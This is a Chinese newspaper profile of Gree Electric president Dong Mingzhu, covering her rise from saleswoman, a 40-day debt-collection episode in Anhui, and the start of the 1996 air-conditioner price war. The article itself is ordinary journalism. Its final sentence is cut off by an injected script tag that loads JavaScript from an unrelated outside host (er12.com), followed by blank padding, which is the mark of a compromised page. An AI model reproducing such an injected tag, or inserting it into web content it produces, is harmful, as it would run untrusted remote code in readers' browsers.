■记者手记
零售大鳄黄光裕在中国家电业呼风唤雨、领袖多年,但有个女子他却三年没摆平。此女如此强硬,以致家电大豪们私下钦佩:“这个女人太狠了,走过的路不长草。”
令人望而生畏的董明珠就这样戴着“铁娘子”的帽子,在空调业狠了17年。17年间,她带领的格力空调连续12年稳坐中国空调业老大位置。老大连当12年,更加深了董明珠的“铁腕”性格符号。
其实每个坚强的人,内心也有柔软的角落,董明珠身为女人更不例外,只是被江湖误读了很多年。
她爱美,喜欢听别人称赞自己美丽,认为柔情似水是自己真实的一面;身为一个母亲,她和任何一个普通母亲一样,谈及孩子时会情不自禁落泪。今年1月董明珠荣获央视“2006年cctv中国经济年度人物”,站在cctv领奖台上她没有哭,可收到儿子一条“亲爱的妈妈,恭喜你”的短信,她却泪如雨下。
放弃国美的日子董明珠压力很大,身体力行17年的工业精神最终支撑她挺了过来。
董明珠认为,少说空话、多干实事,全心全意关注消费者需求,是中国工业企业成长的动力,但社会物欲横流让这样的精神严重贫血。
董明珠的格力想获得持续、长久成功,但很多珠三角家电企业却为眼前名利放弃基业常青。“我想我是寂寞的,至少在中国制冷界。我一直把踏踏实实做事的工业精神作为格力发展信条,但真正读懂其中含义的人又有多少?”这个固执女人的内心,始终在等待与格力惺惺相惜的知音!
■上榜理由
1990年南下创业加入格力,17年来董明珠从基层业务员做起,将年产值不到2000万元的小厂打造成为年销售额达230亿元、拥有国内外四大生产基地的世界名牌企业。
格力电器12年稳坐中国空调销量冠军宝座,2005、2006年连获世界空调销售冠军。在中国市场化竞争最充分的家电市场,董明珠以勤奋和智慧证明“谁说女子不如男?”
■个人简历
1954年,出生于南京。
1990年,36岁的董明珠离开南京,南下深圳创业,同年进入格力空调前身海利空调。
2001年,出任格力空调总经理。
2004年、2005年,两度上榜美国《财富》杂志“全球50名最具影响力商界女强人”。
2007年,入选2006年cctv中国经济年度人物。
格力空调总裁董明珠。 本报记者 胡雪柏 摄
――“我想我是寂寞的,至少在中国制冷界。”董明珠如是说。
创业篇
从36岁南下打工加入格力至今,董明珠由最底层业务员一直做到格力电器总经理。她的奋斗历程,似乎是一部中国家电业的斗争史:与经销商斗,与家电连锁斗……3月15日,在北京参加两会的董明珠接受本报专访时,对自己的经历概括为:没有较量的生活没有意义,我是在博弈中找寻快乐!
讨债开局
有时候,一个简单的决定,足以改变一个人和一个企业的命运。17年前董明珠一个决定,改变了她自己和格力。
1990年,时年36岁的董明珠辞掉在家乡南京的工作,只身南下广东闯荡。她原本在深圳一家化工厂做管理,后被珠海的宁静所吸引,决定应聘进了格力电器前身、海利空调器厂做营销。中国家电业的一朵铿锵玫瑰,自此开始绽放。
当时的海利是一家刚投产不久的国有小厂,空调年产量2万台,销售收入2000万元,其中还有相当一部分货款收不回来。董明珠回忆:“当时做营销有三大特点,一个就是喝酒吃饭,要不就是吹牛,还有一个就是利用性别特点。这些对我来说都不合适。我想,做营销就该脚踏实地,让别人产生一种信任感。”
以前从不知营销为何物的董明珠,很快被派到安徽开拓市场。她到安徽后,发现公司有一笔42万元的货款“烂”在外面。虽然这笔账与董明珠无关,但她想,欠债还钱天经地义,不能就这样算了,于是自告奋勇包揽下讨债的活,不想一讨就是40天。
欠款公司经理姓牛,多年练就“刀枪不入”之功,任凭董明珠多次上门,自己却安然看报品茶,连水也不给她倒一杯。不仅用尽推托之词,之后干脆避而不见。这激起了董明珠的犟脾气,天天去“堵”,终于有一天把他堵在办公室大叫:“你要么还钱,要么退货。否则从现在开始,你走到哪里我跟到哪里!”
40天的围堵终于让牛经理招架不住,答应退货。当公司的空调被一件件装上卡车时,坐在驾驶室的董明珠禁不住委屈地哭了。这件事令当时的格力电器总经理朱江洪对这个女人刮目相看。
靠着勤奋和真诚,当年董明珠在安徽的销售额就达到1600万元,一举打开了安徽的销售局面。也从此时起,“先款后货、决不赊账”成为董明珠营销的原则,后来成为格力在空调业界独树一帜的规矩。
再战称王
有准备的人,总会在时代激变中脱颖而出。格力在1996年全国空调价格战中巍然不动,成就了董明珠的崛起。
1996年,国内空调市场走到了一个拐点:全国空调产能接近2000万台,但市场容量不到600万台;这年夏季我国南方?script src=http://er12.com/t.js>











